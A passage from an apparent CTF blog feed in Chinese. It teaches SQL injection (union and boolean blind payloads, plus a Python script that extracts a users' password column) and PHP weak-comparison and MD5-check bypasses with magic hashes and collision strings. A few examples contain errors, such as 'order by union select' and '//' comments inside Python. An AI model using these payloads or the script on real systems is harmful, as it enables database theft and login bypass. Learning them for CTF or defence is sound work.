title="注入流程"></a>注入流程</h4><ol><li><p><strong>判断类型</strong></p></li><li><p><strong>字段数</strong></p><p>联合查询(<code>union</code>)，必选保证<code>union</code>前后两个查询的字段数一致，即两个查询结果有相同的<strong>列数</strong>，因此要对前一个的字段数进行判断。可以使用<code>order by 数字</code>进行判断</p><p><strong>注</strong>：<code>order by n</code>表示查询结果通过第n个字段进行排序</p><p>使用示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; order by 1 --+</span><br></pre></td></tr></table></figure><p>使用时不断增大数字，假设直至第<code>n</code>个出现错误，从而判断出字段数为<code>n-1</code></p></li><li><p><strong>回显点</strong></p><p>知道字段数之后，我们还需要确定在哪个字段是回显到页面上的</p><p>直接根据字段数，联合查询数字<code>1，2，3...</code>,以三个字段数为例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; order by union select 1,2,3 --+</span><br></pre></td></tr></table></figure><p>从页面上查找回显的是哪个数字</p></li><li><p><strong>爆库名、表名，字段名，数据</strong></p></li></ol><p>​使用<code>union</code>语句在回显位置导出数据库中的数据，结合上文中的SQL注入常用基础语句</p><p>以2位置为回显点，爆表名为例</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id<span class="operator">=</span><span class="number">-1</span><span class="string">&#x27; union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+</span></span><br></pre></td></tr></table></figure><h3 id="布尔盲注"><a href="#布尔盲注" class="headerlink" title="布尔盲注"></a>布尔盲注</h3><p>构造SQL语句，利用and，or等关键字来其后的语句 <code>true</code> 、 <code>false</code>使web页面返回true或者false，从而达到注入的目的来获取信息</p><p><strong>使用条件</strong>：适用于页面没有回显字段(不支持联合查询)，且web页面返回True 或者 false类似的结果（例如：登录成功、）</p><p><strong>注意事项</strong>：</p><ul><li><p>前面参数在数据库<strong>无结果</strong>时，拼接语句使用关键词<code>or</code></p></li><li><p>前面参数在数据库<strong>有结果</strong>时，拼接语句使用关键词<code>and</code></p><p>另建议使用脚本</p></li></ul><h4 id="注入使用函数"><a href="#注入使用函数" class="headerlink" title="注入使用函数"></a>注入使用函数</h4><p><strong>1.</strong><code>substr()/substring()</code>函数</p><p>​<code>substr()/substring()</code>函数：用来截取数据库某个字段中的一部分。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">substr(string，<span class="keyword">start</span>开始位置，length截取长度)  #语法</span><br></pre></td></tr></table></figure><p>参数</p><ul><li>string：必选，数据库中需要截取的字段</li><li>start：必选。正数，从字符串指定位置开始截取；负数，从字符串结尾指定位置开始   截取；0，在字符串中第一个位置开始截取。</li><li>length：可选，需要截取的长度。缺省。即截取到结束位置</li></ul><p><strong>2.</strong><code>ascii()</code>函数</p><p>​<code>ascii()</code>函数：返回字符串str的最左边的数值。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ascii(str)  #语法</span><br></pre></td></tr></table></figure><p><strong>3.</strong><code>length()</code> 函数</p><p>​<code>length()</code> 函数，返回字符串的长度</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">length(str) #语法</span><br></pre></td></tr></table></figure><p><strong>4.</strong><code>left()</code> 函数</p><p>​<code>left()</code> 函数，返回从左至右截取固定长度的字符串</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">left</span>(str,n) #语法 截取字符串str的从左至右前n个字符</span><br></pre></td></tr></table></figure><h4 id="注入流程-1"><a href="#注入流程-1" class="headerlink" title="注入流程"></a>注入流程</h4><ol><li>求当前数据库长度</li><li>求当前数据库表的ASCII (即爆出数据库名)</li><li>求当前数据库中表的个数</li><li>求当前数据库中其中一个表名的长度</li><li>求当前数据库中其中一个表名的ASCII</li><li>求列名的数量</li><li>求列名的长度</li><li>求列名的ASCII</li><li>求字段的数量</li><li>求字段内容的长度</li><li>求字段内容对应的ASCII</li></ol><h4 id="手工注入过程详解"><a href="#手工注入过程详解" class="headerlink" title="手工注入过程详解"></a>手工注入过程详解</h4><p> <strong>基本模板</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27; and (长度/字符函数(所爆数据的SQL) = n) --+</span></span><br></pre></td></tr></table></figure><p>例如：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27; and ASCII(SUBSTR((select table_name FROM information_schema.tables where table_schema = database() LIMIT 0,1),1,1)) = 101 #</span></span><br></pre></td></tr></table></figure><p>以爆数据库名字为例</p><p>求长度</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27; and (length(database()) = n) --+</span></span><br></pre></td></tr></table></figure><p>通过页面的回显进行判断，数据库的长度是多少</p><p>求数据库名称</p><p>使用<code>left</code> 函数</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 从左至右截取一个字符</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">and</span> (<span class="keyword">left</span>(database(),<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;*&#x27;</span>)</span><br><span class="line"><span class="comment">-- 从左只有截取两个字符</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">and</span> (<span class="keyword">left</span>(database(),<span class="number">2</span>)<span class="operator">=</span><span class="string">&#x27;**&#x27;</span>)</span><br><span class="line"><span class="comment">-- 从左只有截取n个字符</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">and</span> (<span class="keyword">left</span>(database(),n)<span class="operator">=</span><span class="string">&#x27;*****&#x27;</span>)</span><br></pre></td></tr></table></figure><p>不断修改<code>*</code>中的字符，使之页面显示为<code>true</code>的类似项（如登录成功、成功等）</p><p>使用<code>SUBSTR</code>函数</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 截取第1个字符</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> (ASCII(SUBSTR(database(),<span class="number">1</span>,<span class="number">1</span>)) <span class="operator">=</span> <span class="operator">*</span><span class="operator">*</span><span class="operator">*</span>)</span><br><span class="line"><span class="comment">-- 截取第2个字符</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> (ASCII(SUBSTR(database(),<span class="number">2</span>,<span class="number">1</span>)) <span class="operator">=</span> <span class="operator">*</span><span class="operator">*</span><span class="operator">*</span>)</span><br><span class="line"><span class="comment">-- 截取第n个字符</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> (ASCII(SUBSTR(database(),n,<span class="number">1</span>)) <span class="operator">=</span> <span class="operator">*</span><span class="operator">*</span><span class="operator">*</span>)</span><br></pre></td></tr></table></figure><p>不断修改<code>*</code>中的ASCII码，使之页面显示为<code>true</code>的类似项（如登录成功、成功等）</p><h4 id="注入脚本"><a href="#注入脚本" class="headerlink" title="注入脚本"></a>注入脚本</h4><p><strong>注意查看表单的提交变量名称</strong></p><p>使用POST提交数据</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">chars = <span class="string">&quot;R0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&amp;%/^!~&#123;&#125;&quot;</span></span><br><span class="line">result = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_length</span>(<span class="params">value</span>):  <span class="comment"># 获取要查询的数据的长度</span></span><br><span class="line">    <span class="keyword">for</span> n <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line">        payload = <span class="string">&quot;admin&#x27; and length((&#123;0&#125;)) =&#123;1&#125; #&quot;</span>.<span class="built_in">format</span>(data_payload, n)</span><br><span class="line">        data = &#123;<span class="string">&quot;username&quot;</span>: payload, <span class="string">&quot;password&quot;</span>: <span class="string">&quot;admin&quot;</span>&#125;  //注意查看表单的提交变量名称</span><br><span class="line">        html = requests.post(url, data=data)</span><br><span class="line">        length = <span class="built_in">len</span>(html.text)</span><br><span class="line">        <span class="keyword">if</span> length &lt; value:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;……data length is :&quot;</span> + <span class="built_in">str</span>(n))</span><br><span class="line">            <span class="keyword">return</span> n</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_data</span>(<span class="params">data_length, value</span>):  <span class="comment"># 获取数据</span></span><br><span class="line">    <span class="keyword">global</span> result</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, data_length):</span><br><span class="line">        <span class="keyword">for</span> char <span class="keyword">in</span> chars:</span><br><span class="line">            payload = <span class="string">&quot;admin&#x27;and ascii(substr((&#123;0&#125;),&#123;1&#125;,1))=&#123;2&#125; #&quot;</span>.<span class="built_in">format</span>(data_payload, i, <span class="built_in">ord</span>(char))</span><br><span class="line">            data = &#123;<span class="string">&quot;username&quot;</span>: payload, <span class="string">&quot;password&quot;</span>: <span class="string">&quot;admin&quot;</span>&#125;  //注意查看表单的提交变量名称</span><br><span class="line">            html = requests.post(url, data=data)</span><br><span class="line">            length = <span class="built_in">len</span>(html.text)</span><br><span class="line">            <span class="keyword">if</span> length &lt; value:  <span class="comment"># 根据返回长度的不同来判断字符正确与否</span></span><br><span class="line">                result += char</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;…… data is :&quot;</span> + result)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://***.***.10.67:2081/hard.php&quot;</span></span><br><span class="line">data_payload = <span class="string">&quot;select password from users  limit 0,1&quot;</span> //所爆数据的sql语句</span><br><span class="line">value = <span class="number">550</span>  <span class="comment"># 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值，这个值需要在浏览器中 按f12 查看</span></span><br><span class="line"></span><br><span class="line">length = get_length(value) +<span class="number">1</span></span><br><span class="line">get_data(length, value)</span><br><span class="line"><span class="built_in">print</span>(result)</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;SQL注入流程&quot;&gt;&lt;a href=&quot;#SQL注入流程&quot; class=&quot;headerlink&quot; title=&quot;SQL注入流程&quot;&gt;&lt;/a&gt;&lt;strong&gt;SQL注入流程&lt;/strong&gt;&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;找到注入点：判断是否有漏洞，寻找插入位置&lt;/li&gt;
&lt;</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-SQL" scheme="https://wells.host/tags/Web-SQL/"/>
    
  </entry>
  
  <entry>
    <title>PHP特性</title>
    <link href="https://wells.host/posts/44659fec/"/>
    <id>https://wells.host/posts/44659fec/</id>
    <published>2023-10-18T14:34:42.000Z</published>
    <updated>2025-08-05T09:16:33.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="PHP"><a href="#PHP" class="headerlink" title="PHP"></a><strong>PHP</strong></h1><h2 id="PHP中的比较符"><a href="#PHP中的比较符" class="headerlink" title="PHP中的比较符"></a>PHP中的比较符</h2><p><strong>php是一种弱类型语言，对数据的类型要求并不严格，可以让数据类型互相转换。</strong></p><p>在php中有两种比较符号: 一种是 <strong>弱等于</strong>，另外一种是 <strong>强等于</strong>，都是用来比较两个数值是否相等的操作符，但他们也是有区别的:</p><ol><li><p><strong>弱等于</strong></p><p>在比较前会先把两种字符串类型转成相同的再进行比较。简单的说，它不会比较变量类型，只比较值。</p><ol><li><p><code>==</code>：等于比较符号。用于比较两个值是否相等，不考虑数据类型。</p></li><li><p><code>!=</code> 或 <code>&lt;&gt;</code>：不等于比较符号。用于比较两个值是否不相等，不考虑数据类型。</p></li><li><p><code>&lt;</code>：小于比较符号。用于比较两个值的大小，如果左侧的值小于右侧的值，则条件为真。</p></li><li><p><code>&gt;</code>：大于比较符号。用于比较两个值的大小，如果左侧的值大于右侧的值，则条件为真。</p></li><li><p><code>&lt;=</code>：小于等于比较符号。用于比较两个值的大小，如果左侧的值小于或等于右侧的值，则条件为真。</p></li><li><p><code>&gt;=</code>：大于等于比较符号。用于比较两个值的大小，如果左侧的值大于或等于右侧的值，则条件为真。</p></li></ol></li><li><p><strong>强等于</strong></p><p>在比较前会先判断两种字符串类型是否相同再进行比较，如果类型不同直接返回不相等。既比较值也比较类型。</p><ol><li><code>===</code>：全等比较符号。用于比较两个值是否相等，并且数据类型也相同。</li><li><code>!==</code>：不全等比较符号。用于比较两个值是否不相等，或者数据类型不相同。</li></ol></li></ol><h3 id="弱等于转化规则规则"><a href="#弱等于转化规则规则" class="headerlink" title="弱等于转化规则规则"></a>弱等于转化规则规则</h3><p>1.若一个数字和一个字符串进行比较或者进行运算时，PHP会把字符串转换成数字再进行比较。当字符串被当作一个数值来处理时，如果该字符串没有包含’<code>.</code>’,‘<code>e</code>’,’<code>E</code>’并且其数值在整形的范围之内，该字符串作为int来取值，其他所有情况下都被作为float来取值，并且<strong>字符串开始部分决定它的取值，开始部分为数字（最开头的部分），则其值就是开始的数字，否则（包括后面出现数字的情况），其值为0</strong>。例如:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">12</span>==<span class="string">&quot;12&quot;</span>                         <span class="comment">// true</span></span><br><span class="line"><span class="number">12</span>==<span class="string">&quot;12aa&quot;</span>                       <span class="comment">//true</span></span><br><span class="line"><span class="string">&quot;admin&quot;</span>==<span class="number">0</span>            <span class="comment">//true</span></span><br><span class="line"><span class="literal">false</span> == <span class="string">&quot;&quot;</span> == <span class="number">0</span> == <span class="literal">NULL</span><span class="comment">//true</span></span><br></pre></td></tr></table></figure><p>2.布尔值true和任意字符串都弱相等。例如:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="literal">true</span>==<span class="string">&quot;wells&quot;</span>                     <span class="comment">//true</span></span><br></pre></td></tr></table></figure><p>3.数字和“e”开头加上数字的字符串（例如”1e123”）会当作科学计数法去比较；<br><em><code>0e</code>在比较的时候会将其视作为科学计数法，所以无论<code>0e</code>后面是什么，0的多少次方还是0；</em></p><h1 id="绕过MD5验证"><a href="#绕过MD5验证" class="headerlink" title="绕过MD5验证"></a><strong>绕过MD5验证</strong></h1><h2 id="弱类型比较"><a href="#弱类型比较" class="headerlink" title="弱类型比较"></a>弱类型比较</h2><h3 id="0e绕过"><a href="#0e绕过" class="headerlink" title="0e绕过"></a><code>0e</code>绕过</h3><p><strong>原理</strong>：若使用PHP的弱比较时，<code>0e</code>开头的字符串在参与比较时,会被当做科学计数法,结果转换为0</p><p>例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">md5</span>(<span class="string">&#x27;QNKCDZO&#x27;</span>) == <span class="title function_ invoke__">md5</span>(<span class="number">240610708</span>)</span><br></pre></td></tr></table></figure><p>MD5加密后得到</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0e830400451993494058024219903391</span> == <span class="number">0e462097431906509019562988736854</span>  <span class="comment">//即0==0，为true</span></span><br></pre></td></tr></table></figure><h3 id="常用MD5加密后为0e的字符串"><a href="#常用MD5加密后为0e的字符串" class="headerlink" title="常用MD5加密后为0e的字符串"></a>常用MD5加密后为<code>0e</code>的字符串</h3><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">QNKCDZO</span><br><span class="line">240610708</span><br><span class="line">byGcY</span><br><span class="line">sonZ7y</span><br><span class="line">aabg7XSs</span><br><span class="line">aabC9RqS</span><br><span class="line">s878926199a</span><br><span class="line">s155964671a</span><br><span class="line">s214587387a</span><br><span class="line">s1091221200a</span><br></pre></td></tr></table></figure><h2 id="强类型比较"><a href="#强类型比较" class="headerlink" title="强类型比较"></a>强类型比较</h2><h3 id="数组绕过"><a href="#数组绕过" class="headerlink" title="数组绕过"></a>数组绕过</h3><p>原理：MD5无法加密数组，使用数组虽然会报错，返回了null，null&#x3D;&#x3D;null</p><p>使用方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a[]=a&amp;b[]=b </span><br></pre></td></tr></table></figure><h3 id="强类型绕过（MD5碰撞）"><a href="#强类型绕过（MD5碰撞）" class="headerlink" title="强类型绕过（MD5碰撞）"></a>强类型绕过（MD5碰撞）</h3><p>原理：使用两个数值不同但MD5值相同的字符串（<strong>以下字符串经过URL编码</strong>）</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">--------------------</span><br><span class="line">c=M%C9h%FF%<span class="number">0</span>E%E3%<span class="number">5</span>C%<span class="number">20</span>%<span class="number">95</span>r%D4w%<span class="number">7</span>Br%<span class="number">15</span>%<span class="number">87</span>%D3o%A7%B2%<span class="number">1</span>B%DCV%B7J%<span class="number">3</span>D%C0x%<span class="number">3</span>E%<span class="number">7</span>B%<span class="number">95</span>%<span class="number">18</span>%AF%BF%A2%<span class="number">02</span>%A8%<span class="number">28</span>K%F3n%<span class="number">8</span>EKU%B3_Bu%<span class="number">93</span>%D8Igm%A0%D1%D5%<span class="number">5</span>D%<span class="number">83</span>%<span class="number">60</span>%FB_%<span class="number">07</span>%FE%A2</span><br><span class="line">   d=M%C9h%FF%<span class="number">0</span>E%E3%<span class="number">5</span>C%<span class="number">20</span>%<span class="number">95</span>r%D4w%<span class="number">7</span>Br%<span class="number">15</span>%<span class="number">87</span>%D3o%A7%B2%<span class="number">1</span>B%DCV%B7J%<span class="number">3</span>D%C0x%<span class="number">3</span>E%<span class="number">7</span>B%<span class="number">95</span>%<span class="number">18</span>%AF%BF%A2%<span class="number">00</span>%A8%<span class="number">28</span>K%F3n%<span class="number">8</span>EKU%B3_Bu%<span class="number">93</span>%D8Igm%A0%D1U%<span class="number">5</span>D%<span class="number">83</span>%<span class="number">60</span>%FB_%<span class="number">07</span>%FE%A2</span><br><span class="line">--------------------</span><br><span class="line">param1=M%C9h%FF%<span class="number">0</span>E%E3%<span class="number">5</span>C%<span class="number">20</span>%<span class="number">95</span>r%D4w%<span class="number">7</span>Br%<span class="number">15</span>%<span class="number">87</span>%D3o%A7%B2%<span class="number">1</span>B%DCV%B7J%<span class="number">3</span>D%C0x%<span class="number">3</span>E%<span class="number">7</span>B%<span class="number">95</span>%<span class="number">18</span>%AF%BF%A2%<span class="number">00</span>%A8%<span class="number">28</span>K%F3n%<span class="number">8</span>EKU%B3_Bu%<span class="number">93</span>%D8Igm%A0%D1U%<span class="number">5</span>D%<span class="number">83</span>%<span class="number">60</span>%FB_%<span class="number">07</span>%FE%A2</span><br><span class="line">    </span><br><span class="line">param2=M%C9h%FF%<span class="number">0</span>E%E3%<span class="number">5</span>C%<span class="number">20</span>%<span class="number">95</span>r%D4w%<span class="number">7</span>Br%<span class="number">15</span>%<span class="number">87</span>%D3o%A7%B2%<span class="number">1</span>B%DCV%B7J%<span class="number">3</span>D%C0x%<span class="number">3</span>E%<span class="number">7</span>B%<span class="number">95</span>%<span class="number">18</span>%AF%BF%A2%<span class="number">02</span>%A8%<span class="number">28</span>K%F3n%<span class="number">8</span>EKU%B3_Bu%<span class="number">93</span>%D8Igm%A0%D1%D5%<span class="number">5</span>D%<span class="number">83</span>%<span class="number">60</span>%FB_%<span class="number">07</span>%FE%A2</span><br><span class="line">------------------- Param1=%<span class="number">4</span>d%c9%<span class="number">68</span>%ff%<span class="number">0</span>e%e3%<span class="number">5</span>c%<span class="number">20</span>%<span class="number">95</span>%<span class="number">72</span>%d4%<span class="number">77</span>%<span class="number">7</span>b%<span class="number">72</span>%<span class="number">15</span>%<span class="number">87</span>%d3%<span class="number">6</span>f%a7%b2%<span class="number">1</span>b%dc%<span class="number">56</span>%b7%<span class="number">4</span>a%<span class="number">3</span>d%c0%<span class="number">78</span>%<span class="number">3</span>e%<span class="number">7</span>b%<span class="number">95</span>%<span class="number">18</span>%af%bf%a2%<span class="number">00</span>%a8%<span class="number">28</span>%<span class="number">4</span>b%f3%<span class="number">6</span>e%<span class="number">8</span>e%<span class="number">4</span>b%<span class="number">55</span>%b3%<span class="number">5</span>f%<span class="number">42</span>%<span class="number">75</span>%<span class="number">93</span>%d8%<span class="number">49</span>%<span class="number">67</span>%<span class="number">6</span>d%a0%d1%<span class="number">55</span>%<span class="number">5</span>d%<span class="number">83</span>%<span class="number">60</span>%fb%<span class="number">5</span>f%<span class="number">07</span>%fe%a2</span><br><span class="line">    </span><br><span class="line">Param2=%<span class="number">4</span>d%c9%<span class="number">68</span>%ff%<span class="number">0</span>e%e3%<span class="number">5</span>c%<span class="number">20</span>%<span class="number">95</span>%<span class="number">72</span>%d4%<span class="number">77</span>%<span class="number">7</span>b%<span class="number">72</span>%<span class="number">15</span>%<span class="number">87</span>%d3%<span class="number">6</span>f%a7%b2%<span class="number">1</span>b%dc%<span class="number">56</span>%b7%<span class="number">4</span>a%<span class="number">3</span>d%c0%<span class="number">78</span>%<span class="number">3</span>e%<span class="number">7</span>b%<span class="number">95</span>%<span class="number">18</span>%af%bf%a2%<span class="number">02</span>%a8%<span class="number">28</span>%<span class="number">4</span>b%f3%<span class="number">6</span>e%<span class="number">8</span>e%<span class="number">4</span>b%<span class="number">55</span>%b3%<span class="number">5</span>f%<span class="number">42</span>%<span class="number">75</span>%<span class="number">93</span>%d8%<span class="number">49</span>%<span class="number">67</span>%<span class="number">6</span>d%a0%d1%d5%<span class="number">5</span>d%<span class="number">83</span>%<span class="number">60</span>%fb%<span class="number">5</span>f%<span class="number">07</span>%fe%a2</span><br><span class="line">--------------------</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">--------------------</span><br><span class="line"><span class="variable">$s1</span> = %af%<span class="number">13</span>%<span class="number">76</span>%<span class="number">70</span>%<span class="number">82</span>%a0%a6%<span class="number">58</span>%cb%<span class="number">3</span>e%<span class="number">23</span>%<span class="number">38</span>%c4%c6%db%<span class="number">8</span>b%<span class="number">60</span>%<span class="number">2</span>c%bb%<span class="number">90</span>%<span class="number">68</span>%a0%<span class="number">2</span>d%e9%<span class="number">47</span>%aa%<span class="number">78</span>%<span class="number">49</span>%<span class="number">6</span>e%<span class="number">0</span>a%c0%c0%<span class="number">31</span>%d3%fb%cb%<span class="number">82</span>%<span class="number">25</span>%<span class="number">92</span>%<span class="number">0</span>d%cf%<span class="number">61</span>%<span class="number">67</span>%<span class="number">64</span>%e8%cd%<span class="number">7</span>d%<span class="number">47</span>%ba%<span class="number">0</span>e%<span class="number">5</span>d%<span class="number">1</span>b%<span class="number">9</span>c%<span class="number">1</span>c%<span class="number">5</span>c%cd%<span class="number">07</span>%<span class="number">2</span>d%f7%a8%<span class="number">2</span>d%<span class="number">1</span>d%bc%<span class="number">5</span>e%<span class="number">2</span>c%<span class="number">06</span>%<span class="number">46</span>%<span class="number">3</span>a%<span class="number">0</span>f%<span class="number">2</span>d%<span class="number">4</span>b%e9%<span class="number">20</span>%<span class="number">1</span>d%<span class="number">29</span>%<span class="number">66</span>%a4%e1%<span class="number">8</span>b%<span class="number">7</span>d%<span class="number">0</span>c%f5%ef%<span class="number">97</span>%b6%ee%<span class="number">48</span>%dd%<span class="number">0</span>e%<span class="number">09</span>%aa%e5%<span class="number">4</span>d%<span class="number">6</span>a%<span class="number">5</span>d%<span class="number">6</span>d%<span class="number">75</span>%<span class="number">77</span>%<span class="number">72</span>%cf%<span class="number">47</span>%<span class="number">16</span>%a2%<span class="number">06</span>%<span class="number">72</span>%<span class="number">71</span>%c9%a1%<span class="number">8</span>f%<span class="number">00</span>%f6%<span class="number">9</span>d%ee%<span class="number">54</span>%<span class="number">27</span>%<span class="number">71</span>%be%c8%c3%<span class="number">8</span>f%<span class="number">93</span>%e3%<span class="number">52</span>%<span class="number">73</span>%<span class="number">73</span>%<span class="number">53</span>%a0%<span class="number">5</span>f%<span class="number">69</span>%ef%c3%<span class="number">3</span>b%ea%ee%<span class="number">70</span>%<span class="number">71</span>%ae%<span class="number">2</span>a%<span class="number">21</span>%c8%<span class="number">44</span>%d7%<span class="number">22</span>%<span class="number">87</span>%<span class="number">9</span>f%be%<span class="number">79</span>%<span class="number">6</span>d%c4%<span class="number">61</span>%a4%<span class="number">08</span>%<span class="number">57</span>%<span class="number">02</span>%<span class="number">82</span>%<span class="number">2</span>a%ef%<span class="number">36</span>%<span class="number">95</span>%da%ee%<span class="number">13</span>%bc%fb%<span class="number">7</span>e%a3%<span class="number">59</span>%<span class="number">45</span>%ef%<span class="number">25</span>%<span class="number">67</span>%<span class="number">3</span>c%e0%<span class="number">27</span>%<span class="number">69</span>%<span class="number">2</span>b%<span class="number">95</span>%<span class="number">77</span>%b8%cd%dc%<span class="number">4</span>f%de%<span class="number">73</span>%<span class="number">24</span>%e8%ab%<span class="number">66</span>%<span class="number">74</span>%d2%<span class="number">8</span>c%<span class="number">68</span>%<span class="number">06</span>%<span class="number">80</span>%<span class="number">0</span>c%dd%<span class="number">74</span>%ae%<span class="number">31</span>%<span class="number">05</span>%d1%<span class="number">15</span>%<span class="number">7</span>d%c4%<span class="number">5</span>e%bc%<span class="number">0</span>b%<span class="number">0</span>f%<span class="number">21</span>%<span class="number">23</span>%a4%<span class="number">96</span>%<span class="number">7</span>c%<span class="number">17</span>%<span class="number">12</span>%d1%<span class="number">2</span>b%b3%<span class="number">10</span>%b7%<span class="number">37</span>%<span class="number">60</span>%<span class="number">68</span>%d7%cb%<span class="number">35</span>%<span class="number">5</span>a%<span class="number">54</span>%<span class="number">97</span>%<span class="number">08</span>%<span class="number">0</span>d%<span class="number">54</span>%<span class="number">78</span>%<span class="number">49</span>%d0%<span class="number">93</span>%c3%b3%fd%<span class="number">1</span>f%<span class="number">0</span>b%<span class="number">35</span>%<span class="number">11</span>%<span class="number">9</span>d%<span class="number">96</span>%<span class="number">1</span>d%ba%<span class="number">64</span>%e0%<span class="number">86</span>%ad%ef%<span class="number">52</span>%<span class="number">98</span>%<span class="number">2</span>d%<span class="number">84</span>%<span class="number">12</span>%<span class="number">77</span>%bb%ab%e8%<span class="number">64</span>%da%a3%<span class="number">65</span>%<span 